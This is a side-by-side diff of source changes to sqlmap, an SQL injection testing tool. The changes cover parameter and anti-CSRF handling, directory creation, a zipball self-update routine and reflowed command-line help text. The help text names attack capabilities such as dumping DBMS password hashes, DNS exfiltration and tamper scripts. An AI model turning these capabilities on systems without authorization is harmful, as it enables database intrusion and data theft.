if kb.customInjectionMark not in conf.data: # in case that no usable parameter values has been found if kb.customInjectionMark not in conf.data: # in case that no usable parameter values has been found
conf.parameters[PLACE.POST] = conf.data conf.parameters[PLACE.POST] = conf.data
kb.processUserMarks = True if (kb.postHint and kb.customInjectionMark in conf.data) else kb.processUserMarks kb.processUserMarks = True if (kb.postHint and kb.customInjectionMark in (conf.data or "")) else kb.processUserMarks
if re.search(URI_INJECTABLE_REGEX, conf.url, re.I) and not any(place in conf.parameters for place in (PLACE.GET, PLACE.POST)) and not kb.postHint and not kb.customInjectionMark in (conf.data or "") and conf.url.startswith("http"): if re.search(URI_INJECTABLE_REGEX, conf.url, re.I) and not any(place in conf.parameters for place in (PLACE.GET, PLACE.POST)) and not kb.postHint and kb.customInjectionMark not in (conf.data or "") and conf.url.startswith("http"):
warnMsg = "you've provided target URL without any GET " warnMsg = "you've provided target URL without any GET "
warnMsg += "parameters (e.g. 'http://www.site.com/article.php?id=1') " warnMsg += "parameters (e.g. 'http://www.site.com/article.php?id=1') "
warnMsg += "and without providing any POST parameters " warnMsg += "and without providing any POST parameters "
@@ -376,7 +377,7 @@ def _setRequestParams():
if condition: if condition:
conf.parameters[PLACE.CUSTOM_HEADER] = str(conf.httpHeaders) conf.parameters[PLACE.CUSTOM_HEADER] = str(conf.httpHeaders)
conf.paramDict[PLACE.CUSTOM_HEADER] = {httpHeader: "%s,%s%s" % (httpHeader, headerValue, kb.customInjectionMark)} conf.paramDict[PLACE.CUSTOM_HEADER] = {httpHeader: "%s,%s%s" % (httpHeader, headerValue, kb.customInjectionMark)}
conf.httpHeaders = [(header, value.replace(kb.customInjectionMark, "")) for header, value in conf.httpHeaders] conf.httpHeaders = [(_[0], _[1].replace(kb.customInjectionMark, "")) for _ in conf.httpHeaders]
testableParameters = True testableParameters = True
if not conf.parameters: if not conf.parameters:
@@ -390,12 +391,15 @@ def _setRequestParams():
raise SqlmapGenericException(errMsg) raise SqlmapGenericException(errMsg)
if conf.csrfToken: if conf.csrfToken:
if not any(conf.csrfToken in _ for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))) and not re.search(r"\b%s\b" % re.escape(conf.csrfToken), conf.data or "") and not conf.csrfToken in set(_[0].lower() for _ in conf.httpHeaders) and not conf.csrfToken in conf.paramDict.get(PLACE.COOKIE, {}): if not any(conf.csrfToken in _ for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))) and not re.search(r"\b%s\b" % re.escape(conf.csrfToken), conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}):
errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken
errMsg += "found in provided GET, POST, Cookie or header values" errMsg += "found in provided GET, POST, Cookie or header values"
raise SqlmapGenericException(errMsg) raise SqlmapGenericException(errMsg)
else: else:
for place in (PLACE.GET, PLACE.POST, PLACE.COOKIE): for place in (PLACE.GET, PLACE.POST, PLACE.COOKIE):
if conf.csrfToken:
break
for parameter in conf.paramDict.get(place, {}): for parameter in conf.paramDict.get(place, {}):
if any(parameter.lower().count(_) for _ in CSRF_TOKEN_PARAMETER_INFIXES): if any(parameter.lower().count(_) for _ in CSRF_TOKEN_PARAMETER_INFIXES):
message = "%s parameter '%s' appears to hold anti-CSRF token. " % (place, parameter) message = "%s parameter '%s' appears to hold anti-CSRF token. " % (place, parameter)
@@ -411,7 +415,7 @@ def _setHashDB():
""" """
if not conf.hashDBFile: if not conf.hashDBFile:
conf.hashDBFile = conf.sessionFile or os.path.join(conf.outputPath, "session.sqlite") conf.hashDBFile = conf.sessionFile or os.path.join(conf.outputPath, SESSION_SQLITE_FILE)
if os.path.exists(conf.hashDBFile): if os.path.exists(conf.hashDBFile):
if conf.flushSession: if conf.flushSession:
@@ -445,13 +449,10 @@ def _resumeHashDBValues():
conf.tmpPath = conf.tmpPath or hashDBRetrieve(HASHDB_KEYS.CONF_TMP_PATH) conf.tmpPath = conf.tmpPath or hashDBRetrieve(HASHDB_KEYS.CONF_TMP_PATH)
for injection in hashDBRetrieve(HASHDB_KEYS.KB_INJECTIONS, True) or []: for injection in hashDBRetrieve(HASHDB_KEYS.KB_INJECTIONS, True) or []:
if isinstance(injection, InjectionDict) and injection.place in conf.paramDict and \ if isinstance(injection, InjectionDict) and injection.place in conf.paramDict and injection.parameter in conf.paramDict[injection.place]:
injection.parameter in conf.paramDict[injection.place]:
if not conf.tech or intersect(conf.tech, injection.data.keys()): if not conf.tech or intersect(conf.tech, injection.data.keys()):
if intersect(conf.tech, injection.data.keys()): if intersect(conf.tech, injection.data.keys()):
injection.data = dict(_ for _ in injection.data.items() if _[0] in conf.tech) injection.data = dict(_ for _ in injection.data.items() if _[0] in conf.tech)
if injection not in kb.injections: if injection not in kb.injections:
kb.injections.append(injection) kb.injections.append(injection)
@@ -577,7 +578,7 @@ def _createFilesDir():
if not os.path.isdir(conf.filePath): if not os.path.isdir(conf.filePath):
try: try:
os.makedirs(conf.filePath, 0755) os.makedirs(conf.filePath)
except OSError, ex: except OSError, ex:
tempDir = tempfile.mkdtemp(prefix="sqlmapfiles") tempDir = tempfile.mkdtemp(prefix="sqlmapfiles")
warnMsg = "unable to create files directory " warnMsg = "unable to create files directory "
@@ -599,7 +600,7 @@ def _createDumpDir():
if not os.path.isdir(conf.dumpPath): if not os.path.isdir(conf.dumpPath):
try: try:
os.makedirs(conf.dumpPath, 0755) os.makedirs(conf.dumpPath)
except OSError, ex: except OSError, ex:
tempDir = tempfile.mkdtemp(prefix="sqlmapdump") tempDir = tempfile.mkdtemp(prefix="sqlmapdump")
warnMsg = "unable to create dump directory " warnMsg = "unable to create dump directory "
@@ -620,7 +621,7 @@ def _createTargetDirs():
try: try:
if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH): if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH):
os.makedirs(paths.SQLMAP_OUTPUT_PATH, 0755) os.makedirs(paths.SQLMAP_OUTPUT_PATH)
_ = os.path.join(paths.SQLMAP_OUTPUT_PATH, randomStr()) _ = os.path.join(paths.SQLMAP_OUTPUT_PATH, randomStr())
open(_, "w+b").close() open(_, "w+b").close()
@@ -650,7 +651,7 @@ def _createTargetDirs():
try: try:
if not os.path.isdir(conf.outputPath): if not os.path.isdir(conf.outputPath):
os.makedirs(conf.outputPath, 0755) os.makedirs(conf.outputPath)
except (OSError, IOError, TypeError), ex: except (OSError, IOError, TypeError), ex:
try: try:
tempDir = tempfile.mkdtemp(prefix="sqlmapoutput") tempDir = tempfile.mkdtemp(prefix="sqlmapoutput")

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -95,6 +95,9 @@ def exceptionHandledFunction(threadFunction, silent=False):
if not silent: if not silent:
logger.error("thread %s: %s" % (threading.currentThread().getName(), ex.message)) logger.error("thread %s: %s" % (threading.currentThread().getName(), ex.message))
if conf.verbose > 1:
traceback.print_exc()
def setDaemon(thread): def setDaemon(thread):
# Reference: http://stackoverflow.com/questions/190010/daemon-threads-explanation # Reference: http://stackoverflow.com/questions/190010/daemon-threads-explanation
if PYVERSION >= "2.6": if PYVERSION >= "2.6":
@@ -185,6 +188,9 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
kb.threadException = True kb.threadException = True
logger.error("thread %s: %s" % (threading.currentThread().getName(), ex.message)) logger.error("thread %s: %s" % (threading.currentThread().getName(), ex.message))
if conf.verbose > 1:
traceback.print_exc()
except: except:
from lib.core.common import unhandledExceptionMessage from lib.core.common import unhandledExceptionMessage

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,25 +1,32 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
import locale import glob
import os import os
import re import re
import shutil
import subprocess import subprocess
import sys
import time import time
import urllib
import zipfile
from lib.core.common import dataToStdout from lib.core.common import dataToStdout
from lib.core.common import getSafeExString from lib.core.common import getSafeExString
from lib.core.common import pollProcess from lib.core.common import pollProcess
from lib.core.common import readInput
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import logger from lib.core.data import logger
from lib.core.data import paths from lib.core.data import paths
from lib.core.revision import getRevisionNumber from lib.core.revision import getRevisionNumber
from lib.core.settings import GIT_REPOSITORY from lib.core.settings import GIT_REPOSITORY
from lib.core.settings import IS_WIN from lib.core.settings import IS_WIN
from lib.core.settings import ZIPBALL_PAGE
from lib.core.settings import UNICODE_ENCODING
def update(): def update():
if not conf.updateAll: if not conf.updateAll:
@@ -28,11 +35,56 @@ def update():
success = False success = False
if not os.path.exists(os.path.join(paths.SQLMAP_ROOT_PATH, ".git")): if not os.path.exists(os.path.join(paths.SQLMAP_ROOT_PATH, ".git")):
errMsg = "not a git repository. Please checkout the 'sqlmapproject/sqlmap' repository " warnMsg = "not a git repository. It is recommended to clone the 'sqlmapproject/sqlmap' repository "
errMsg += "from GitHub (e.g. 'git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap')" warnMsg += "from GitHub (e.g. 'git clone --depth 1 %s sqlmap')" % GIT_REPOSITORY
logger.warn(warnMsg)
message = "do you want to try to fetch the latest 'zipball' from repository and extract it (experimental) ? [y/N]"
if readInput(message, default='N', boolean=True):
directory = os.path.abspath(paths.SQLMAP_ROOT_PATH)
try:
open(os.path.join(directory, "sqlmap.py"), "w+b")
except Exception, ex:
errMsg = "unable to update content of directory '%s' ('%s')" % (directory, getSafeExString(ex))
logger.error(errMsg) logger.error(errMsg)
else: else:
infoMsg = "updating sqlmap to the latest development version from the " for wildcard in ('*', ".*"):
for _ in glob.glob(os.path.join(directory, wildcard)):
try:
if os.path.isdir(_):
shutil.rmtree(_)
else:
os.remove(_)
except:
pass
if glob.glob(os.path.join(directory, '*')):
errMsg = "unable to clear the content of directory '%s'" % directory
logger.error(errMsg)
else:
try:
archive = urllib.urlretrieve(ZIPBALL_PAGE)[0]
with zipfile.ZipFile(archive) as f:
for info in f.infolist():
info.filename = re.sub(r"\Asqlmap[^/]+", "", info.filename)
if info.filename:
f.extract(info, directory)
filepath = os.path.join(paths.SQLMAP_ROOT_PATH, "lib", "core", "settings.py")
if os.path.isfile(filepath):
with open(filepath, "rb") as f:
version = re.search(r"(?m)^VERSION\s*=\s*['\"]([^'\"]+)", f.read()).group(1)
logger.info("updated to the latest version '%s#dev'" % version)
success = True
except Exception, ex:
logger.error("update could not be completed ('%s')" % getSafeExString(ex))
else:
if not success:
logger.error("update could not be completed")
else:
infoMsg = "updating sqlmap to the latest development revision from the "
infoMsg += "GitHub repository" infoMsg += "GitHub repository"
logger.info(infoMsg) logger.info(infoMsg)
@@ -42,7 +94,7 @@ def update():
dataToStdout("\r[%s] [INFO] update in progress " % time.strftime("%X")) dataToStdout("\r[%s] [INFO] update in progress " % time.strftime("%X"))
try: try:
process = subprocess.Popen("git checkout . && git pull %s HEAD" % GIT_REPOSITORY, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=paths.SQLMAP_ROOT_PATH.encode(locale.getpreferredencoding())) # Reference: http://blog.stastnarodina.com/honza-en/spot/python-unicodeencodeerror/ process = subprocess.Popen("git checkout . && git pull %s HEAD" % GIT_REPOSITORY, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=paths.SQLMAP_ROOT_PATH.encode(sys.getfilesystemencoding() or UNICODE_ENCODING))
pollProcess(process, True) pollProcess(process, True)
stdout, stderr = process.communicate() stdout, stderr = process.communicate()
success = not process.returncode success = not process.returncode
@@ -55,7 +107,7 @@ def update():
else: else:
if "Not a git repository" in stderr: if "Not a git repository" in stderr:
errMsg = "not a valid git repository. Please checkout the 'sqlmapproject/sqlmap' repository " errMsg = "not a valid git repository. Please checkout the 'sqlmapproject/sqlmap' repository "
errMsg += "from GitHub (e.g. 'git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap')" errMsg += "from GitHub (e.g. 'git clone --depth 1 %s sqlmap')" % GIT_REPOSITORY
logger.error(errMsg) logger.error(errMsg)
else: else:
logger.error("update could not be completed ('%s')" % re.sub(r"\W+", " ", stderr).strip()) logger.error("update could not be completed ('%s')" % re.sub(r"\W+", " ", stderr).strip())
@@ -68,7 +120,7 @@ def update():
infoMsg += "download the latest snapshot from " infoMsg += "download the latest snapshot from "
infoMsg += "https://github.com/sqlmapproject/sqlmap/downloads" infoMsg += "https://github.com/sqlmapproject/sqlmap/downloads"
else: else:
infoMsg = "for Linux platform it's required " infoMsg = "for Linux platform it's recommended "
infoMsg += "to install a standard 'git' package (e.g.: 'sudo apt-get install git')" infoMsg += "to install a standard 'git' package (e.g.: 'sudo apt-get install git')"
logger.info(infoMsg) logger.info(infoMsg)

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -47,7 +47,7 @@ class Wordlist(object):
errMsg = "something appears to be wrong with " errMsg = "something appears to be wrong with "
errMsg += "the file '%s' ('%s'). Please make " % (self.current, getSafeExString(ex)) errMsg += "the file '%s' ('%s'). Please make " % (self.current, getSafeExString(ex))
errMsg += "sure that you haven't made any changes to it" errMsg += "sure that you haven't made any changes to it"
raise SqlmapInstallationException, errMsg raise SqlmapInstallationException(errMsg)
if len(_.namelist()) == 0: if len(_.namelist()) == 0:
errMsg = "no file(s) inside '%s'" % self.current errMsg = "no file(s) inside '%s'" % self.current
raise SqlmapDataException(errMsg) raise SqlmapDataException(errMsg)
@@ -73,7 +73,7 @@ class Wordlist(object):
errMsg = "something appears to be wrong with " errMsg = "something appears to be wrong with "
errMsg += "the file '%s' ('%s'). Please make " % (self.current, getSafeExString(ex)) errMsg += "the file '%s' ('%s'). Please make " % (self.current, getSafeExString(ex))
errMsg += "sure that you haven't made any changes to it" errMsg += "sure that you haven't made any changes to it"
raise SqlmapInstallationException, errMsg raise SqlmapInstallationException(errMsg)
except StopIteration: except StopIteration:
self.adjust() self.adjust()
retVal = self.iter.next().rstrip() retVal = self.iter.next().rstrip()

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """

View File

@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -50,9 +50,7 @@ def cmdLineParser(argv=None):
# Reference: https://stackoverflow.com/a/4012683 (Note: previously used "...sys.getfilesystemencoding() or UNICODE_ENCODING") # Reference: https://stackoverflow.com/a/4012683 (Note: previously used "...sys.getfilesystemencoding() or UNICODE_ENCODING")
_ = getUnicode(os.path.basename(argv[0]), encoding=sys.stdin.encoding) _ = getUnicode(os.path.basename(argv[0]), encoding=sys.stdin.encoding)
usage = "%s%s [options]" % ("python " if not IS_WIN else "", \ usage = "%s%s [options]" % ("python " if not IS_WIN else "", "\"%s\"" % _ if " " in _ else _)
"\"%s\"" % _ if " " in _ else _)
parser = OptionParser(usage=usage) parser = OptionParser(usage=usage)
try: try:
@@ -115,15 +113,13 @@ def cmdLineParser(argv=None):
request.add_option("--load-cookies", dest="loadCookies", request.add_option("--load-cookies", dest="loadCookies",
help="File containing cookies in Netscape/wget format") help="File containing cookies in Netscape/wget format")
request.add_option("--drop-set-cookie", dest="dropSetCookie", request.add_option("--drop-set-cookie", dest="dropSetCookie", action="store_true",
action="store_true",
help="Ignore Set-Cookie header from response") help="Ignore Set-Cookie header from response")
request.add_option("--user-agent", dest="agent", request.add_option("--user-agent", dest="agent",
help="HTTP User-Agent header value") help="HTTP User-Agent header value")
request.add_option("--random-agent", dest="randomAgent", request.add_option("--random-agent", dest="randomAgent", action="store_true",
action="store_true",
help="Use randomly selected HTTP User-Agent header value") help="Use randomly selected HTTP User-Agent header value")
request.add_option("--host", dest="host", request.add_option("--host", dest="host",
@@ -139,12 +135,10 @@ def cmdLineParser(argv=None):
help="Extra headers (e.g. \"Accept-Language: fr\\nETag: 123\")") help="Extra headers (e.g. \"Accept-Language: fr\\nETag: 123\")")
request.add_option("--auth-type", dest="authType", request.add_option("--auth-type", dest="authType",
help="HTTP authentication type " help="HTTP authentication type (Basic, Digest, NTLM or PKI)")
"(Basic, Digest, NTLM or PKI)")
request.add_option("--auth-cred", dest="authCred", request.add_option("--auth-cred", dest="authCred",
help="HTTP authentication credentials " help="HTTP authentication credentials (name:password)")
"(name:password)")
request.add_option("--auth-file", dest="authFile", request.add_option("--auth-file", dest="authFile",
help="HTTP authentication PEM cert/private key file") help="HTTP authentication PEM cert/private key file")
@@ -165,14 +159,12 @@ def cmdLineParser(argv=None):
help="Use a proxy to connect to the target URL") help="Use a proxy to connect to the target URL")
request.add_option("--proxy-cred", dest="proxyCred", request.add_option("--proxy-cred", dest="proxyCred",
help="Proxy authentication credentials " help="Proxy authentication credentials (name:password)")
"(name:password)")
request.add_option("--proxy-file", dest="proxyFile", request.add_option("--proxy-file", dest="proxyFile",
help="Load proxy list from a file") help="Load proxy list from a file")
request.add_option("--tor", dest="tor", request.add_option("--tor", dest="tor", action="store_true",
action="store_true",
help="Use Tor anonymity network") help="Use Tor anonymity network")
request.add_option("--tor-port", dest="torPort", request.add_option("--tor-port", dest="torPort",
@@ -181,20 +173,17 @@ def cmdLineParser(argv=None):
request.add_option("--tor-type", dest="torType", request.add_option("--tor-type", dest="torType",
help="Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))") help="Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))")
request.add_option("--check-tor", dest="checkTor", request.add_option("--check-tor", dest="checkTor", action="store_true",
action="store_true",
help="Check to see if Tor is used properly") help="Check to see if Tor is used properly")
request.add_option("--delay", dest="delay", type="float", request.add_option("--delay", dest="delay", type="float",
help="Delay in seconds between each HTTP request") help="Delay in seconds between each HTTP request")
request.add_option("--timeout", dest="timeout", type="float", request.add_option("--timeout", dest="timeout", type="float",
help="Seconds to wait before timeout connection " help="Seconds to wait before timeout connection (default %d)" % defaults.timeout)
"(default %d)" % defaults.timeout)
request.add_option("--retries", dest="retries", type="int", request.add_option("--retries", dest="retries", type="int",
help="Retries when the connection timeouts " help="Retries when the connection timeouts (default %d)" % defaults.retries)
"(default %d)" % defaults.retries)
request.add_option("--randomize", dest="rParam", request.add_option("--randomize", dest="rParam",
help="Randomly change value for given parameter(s)") help="Randomly change value for given parameter(s)")
@@ -211,8 +200,7 @@ def cmdLineParser(argv=None):
request.add_option("--safe-freq", dest="safeFreq", type="int", request.add_option("--safe-freq", dest="safeFreq", type="int",
help="Test requests between two visits to a given safe URL") help="Test requests between two visits to a given safe URL")
request.add_option("--skip-urlencode", dest="skipUrlEncode", request.add_option("--skip-urlencode", dest="skipUrlEncode", action="store_true",
action="store_true",
help="Skip URL encoding of payload data") help="Skip URL encoding of payload data")
request.add_option("--csrf-token", dest="csrfToken", request.add_option("--csrf-token", dest="csrfToken",
@@ -221,24 +209,19 @@ def cmdLineParser(argv=None):
request.add_option("--csrf-url", dest="csrfUrl", request.add_option("--csrf-url", dest="csrfUrl",
help="URL address to visit to extract anti-CSRF token") help="URL address to visit to extract anti-CSRF token")
request.add_option("--force-ssl", dest="forceSSL", request.add_option("--force-ssl", dest="forceSSL", action="store_true",
action="store_true",
help="Force usage of SSL/HTTPS") help="Force usage of SSL/HTTPS")
request.add_option("--hpp", dest="hpp", request.add_option("--hpp", dest="hpp", action="store_true",
action="store_true",
help="Use HTTP parameter pollution method") help="Use HTTP parameter pollution method")
request.add_option("--eval", dest="evalCode", request.add_option("--eval", dest="evalCode",
help="Evaluate provided Python code before the request (e.g. \"import hashlib;id2=hashlib.md5(id).hexdigest()\")") help="Evaluate provided Python code before the request (e.g. \"import hashlib;id2=hashlib.md5(id).hexdigest()\")")
# Optimization options # Optimization options
optimization = OptionGroup(parser, "Optimization", "These " optimization = OptionGroup(parser, "Optimization", "These options can be used to optimize the performance of sqlmap")
"options can be used to optimize the "
"performance of sqlmap")
optimization.add_option("-o", dest="optimize", optimization.add_option("-o", dest="optimize", action="store_true",
action="store_true",
help="Turn on all optimization switches") help="Turn on all optimization switches")
optimization.add_option("--predict-output", dest="predictOutput", action="store_true", optimization.add_option("--predict-output", dest="predictOutput", action="store_true",
@@ -255,10 +238,7 @@ def cmdLineParser(argv=None):
"requests (default %d)" % defaults.threads) "requests (default %d)" % defaults.threads)
# Injection options # Injection options
injection = OptionGroup(parser, "Injection", "These options can be " injection = OptionGroup(parser, "Injection", "These options can be used to specify which parameters to test for, provide custom injection payloads and optional tampering scripts")
"used to specify which parameters to test "
"for, provide custom injection payloads and "
"optional tampering scripts")
injection.add_option("-p", dest="testParameter", injection.add_option("-p", dest="testParameter",
help="Testable parameter(s)") help="Testable parameter(s)")
@@ -279,27 +259,21 @@ def cmdLineParser(argv=None):
help="DBMS authentication credentials (user:password)") help="DBMS authentication credentials (user:password)")
injection.add_option("--os", dest="os", injection.add_option("--os", dest="os",
help="Force back-end DBMS operating system " help="Force back-end DBMS operating system to this value")
"to this value")
injection.add_option("--invalid-bignum", dest="invalidBignum", injection.add_option("--invalid-bignum", dest="invalidBignum", action="store_true",
action="store_true",
help="Use big numbers for invalidating values") help="Use big numbers for invalidating values")
injection.add_option("--invalid-logical", dest="invalidLogical", injection.add_option("--invalid-logical", dest="invalidLogical", action="store_true",
action="store_true",
help="Use logical operations for invalidating values") help="Use logical operations for invalidating values")
injection.add_option("--invalid-string", dest="invalidString", injection.add_option("--invalid-string", dest="invalidString", action="store_true",
action="store_true",
help="Use random strings for invalidating values") help="Use random strings for invalidating values")
injection.add_option("--no-cast", dest="noCast", injection.add_option("--no-cast", dest="noCast", action="store_true",
action="store_true",
help="Turn off payload casting mechanism") help="Turn off payload casting mechanism")
injection.add_option("--no-escape", dest="noEscape", injection.add_option("--no-escape", dest="noEscape", action="store_true",
action="store_true",
help="Turn off string escaping mechanism") help="Turn off string escaping mechanism")
injection.add_option("--prefix", dest="prefix", injection.add_option("--prefix", dest="prefix",
@@ -312,54 +286,40 @@ def cmdLineParser(argv=None):
help="Use given script(s) for tampering injection data") help="Use given script(s) for tampering injection data")
# Detection options # Detection options
detection = OptionGroup(parser, "Detection", "These options can be " detection = OptionGroup(parser, "Detection", "These options can be used to customize the detection phase")
"used to customize the detection phase")
detection.add_option("--level", dest="level", type="int", detection.add_option("--level", dest="level", type="int",
help="Level of tests to perform (1-5, " help="Level of tests to perform (1-5, default %d)" % defaults.level)
"default %d)" % defaults.level)
detection.add_option("--risk", dest="risk", type="int", detection.add_option("--risk", dest="risk", type="int",
help="Risk of tests to perform (1-3, " help="Risk of tests to perform (1-3, default %d)" % defaults.risk)
"default %d)" % defaults.risk)
detection.add_option("--string", dest="string", detection.add_option("--string", dest="string",
help="String to match when " help="String to match when query is evaluated to True")
"query is evaluated to True")
detection.add_option("--not-string", dest="notString", detection.add_option("--not-string", dest="notString",
help="String to match when " help="String to match when query is evaluated to False")
"query is evaluated to False")
detection.add_option("--regexp", dest="regexp", detection.add_option("--regexp", dest="regexp",
help="Regexp to match when " help="Regexp to match when query is evaluated to True")
"query is evaluated to True")
detection.add_option("--code", dest="code", type="int", detection.add_option("--code", dest="code", type="int",
help="HTTP code to match when " help="HTTP code to match when query is evaluated to True")
"query is evaluated to True")
detection.add_option("--text-only", dest="textOnly", detection.add_option("--text-only", dest="textOnly", action="store_true",
action="store_true",
help="Compare pages based only on the textual content") help="Compare pages based only on the textual content")
detection.add_option("--titles", dest="titles", detection.add_option("--titles", dest="titles", action="store_true",
action="store_true",
help="Compare pages based only on their titles") help="Compare pages based only on their titles")
# Techniques options # Techniques options
techniques = OptionGroup(parser, "Techniques", "These options can be " techniques = OptionGroup(parser, "Techniques", "These options can be used to tweak testing of specific SQL injection techniques")
"used to tweak testing of specific SQL "
"injection techniques")
techniques.add_option("--technique", dest="tech", techniques.add_option("--technique", dest="tech",
help="SQL injection techniques to use " help="SQL injection techniques to use (default \"%s\")" % defaults.tech)
"(default \"%s\")" % defaults.tech)
techniques.add_option("--time-sec", dest="timeSec", techniques.add_option("--time-sec", dest="timeSec", type="int",
type="int", help="Seconds to delay the DBMS response (default %d)" % defaults.timeSec)
help="Seconds to delay the DBMS response "
"(default %d)" % defaults.timeSec)
techniques.add_option("--union-cols", dest="uCols", techniques.add_option("--union-cols", dest="uCols",
help="Range of columns to test for UNION query SQL injection") help="Range of columns to test for UNION query SQL injection")
@@ -374,58 +334,45 @@ def cmdLineParser(argv=None):
help="Domain name used for DNS exfiltration attack") help="Domain name used for DNS exfiltration attack")
techniques.add_option("--second-order", dest="secondOrder", techniques.add_option("--second-order", dest="secondOrder",
help="Resulting page URL searched for second-order " help="Resulting page URL searched for second-order response")
"response")
# Fingerprint options # Fingerprint options
fingerprint = OptionGroup(parser, "Fingerprint") fingerprint = OptionGroup(parser, "Fingerprint")
fingerprint.add_option("-f", "--fingerprint", dest="extensiveFp", fingerprint.add_option("-f", "--fingerprint", dest="extensiveFp", action="store_true",
action="store_true",
help="Perform an extensive DBMS version fingerprint") help="Perform an extensive DBMS version fingerprint")
# Enumeration options # Enumeration options
enumeration = OptionGroup(parser, "Enumeration", "These options can " enumeration = OptionGroup(parser, "Enumeration", "These options can be used to enumerate the back-end database management system information, structure and data contained in the tables. Moreover you can run your own SQL statements")
"be used to enumerate the back-end database "
"management system information, structure "
"and data contained in the tables. Moreover "
"you can run your own SQL statements")
enumeration.add_option("-a", "--all", dest="getAll", enumeration.add_option("-a", "--all", dest="getAll", action="store_true",
action="store_true", help="Retrieve everything") help="Retrieve everything")
enumeration.add_option("-b", "--banner", dest="getBanner", enumeration.add_option("-b", "--banner", dest="getBanner", action="store_true",
action="store_true", help="Retrieve DBMS banner") help="Retrieve DBMS banner")
enumeration.add_option("--current-user", dest="getCurrentUser", enumeration.add_option("--current-user", dest="getCurrentUser", action="store_true",
action="store_true",
help="Retrieve DBMS current user") help="Retrieve DBMS current user")
enumeration.add_option("--current-db", dest="getCurrentDb", enumeration.add_option("--current-db", dest="getCurrentDb", action="store_true",
action="store_true",
help="Retrieve DBMS current database") help="Retrieve DBMS current database")
enumeration.add_option("--hostname", dest="getHostname", enumeration.add_option("--hostname", dest="getHostname", action="store_true",
action="store_true",
help="Retrieve DBMS server hostname") help="Retrieve DBMS server hostname")
enumeration.add_option("--is-dba", dest="isDba", enumeration.add_option("--is-dba", dest="isDba", action="store_true",
action="store_true",
help="Detect if the DBMS current user is DBA") help="Detect if the DBMS current user is DBA")
enumeration.add_option("--users", dest="getUsers", action="store_true", enumeration.add_option("--users", dest="getUsers", action="store_true",
help="Enumerate DBMS users") help="Enumerate DBMS users")
enumeration.add_option("--passwords", dest="getPasswordHashes", enumeration.add_option("--passwords", dest="getPasswordHashes", action="store_true",
action="store_true",
help="Enumerate DBMS users password hashes") help="Enumerate DBMS users password hashes")
enumeration.add_option("--privileges", dest="getPrivileges", enumeration.add_option("--privileges", dest="getPrivileges", action="store_true",
action="store_true",
help="Enumerate DBMS users privileges") help="Enumerate DBMS users privileges")
enumeration.add_option("--roles", dest="getRoles", enumeration.add_option("--roles", dest="getRoles", action="store_true",
action="store_true",
help="Enumerate DBMS users roles") help="Enumerate DBMS users roles")
enumeration.add_option("--dbs", dest="getDbs", action="store_true", enumeration.add_option("--dbs", dest="getDbs", action="store_true",
@@ -464,16 +411,14 @@ def cmdLineParser(argv=None):
enumeration.add_option("-C", dest="col", enumeration.add_option("-C", dest="col",
help="DBMS database table column(s) to enumerate") help="DBMS database table column(s) to enumerate")
enumeration.add_option("-X", dest="excludeCol", enumeration.add_option("-X", dest="exclude",
help="DBMS database table column(s) to not enumerate") help="DBMS database identifier(s) to not enumerate")
enumeration.add_option("-U", dest="user", enumeration.add_option("-U", dest="user",
help="DBMS user to enumerate") help="DBMS user to enumerate")
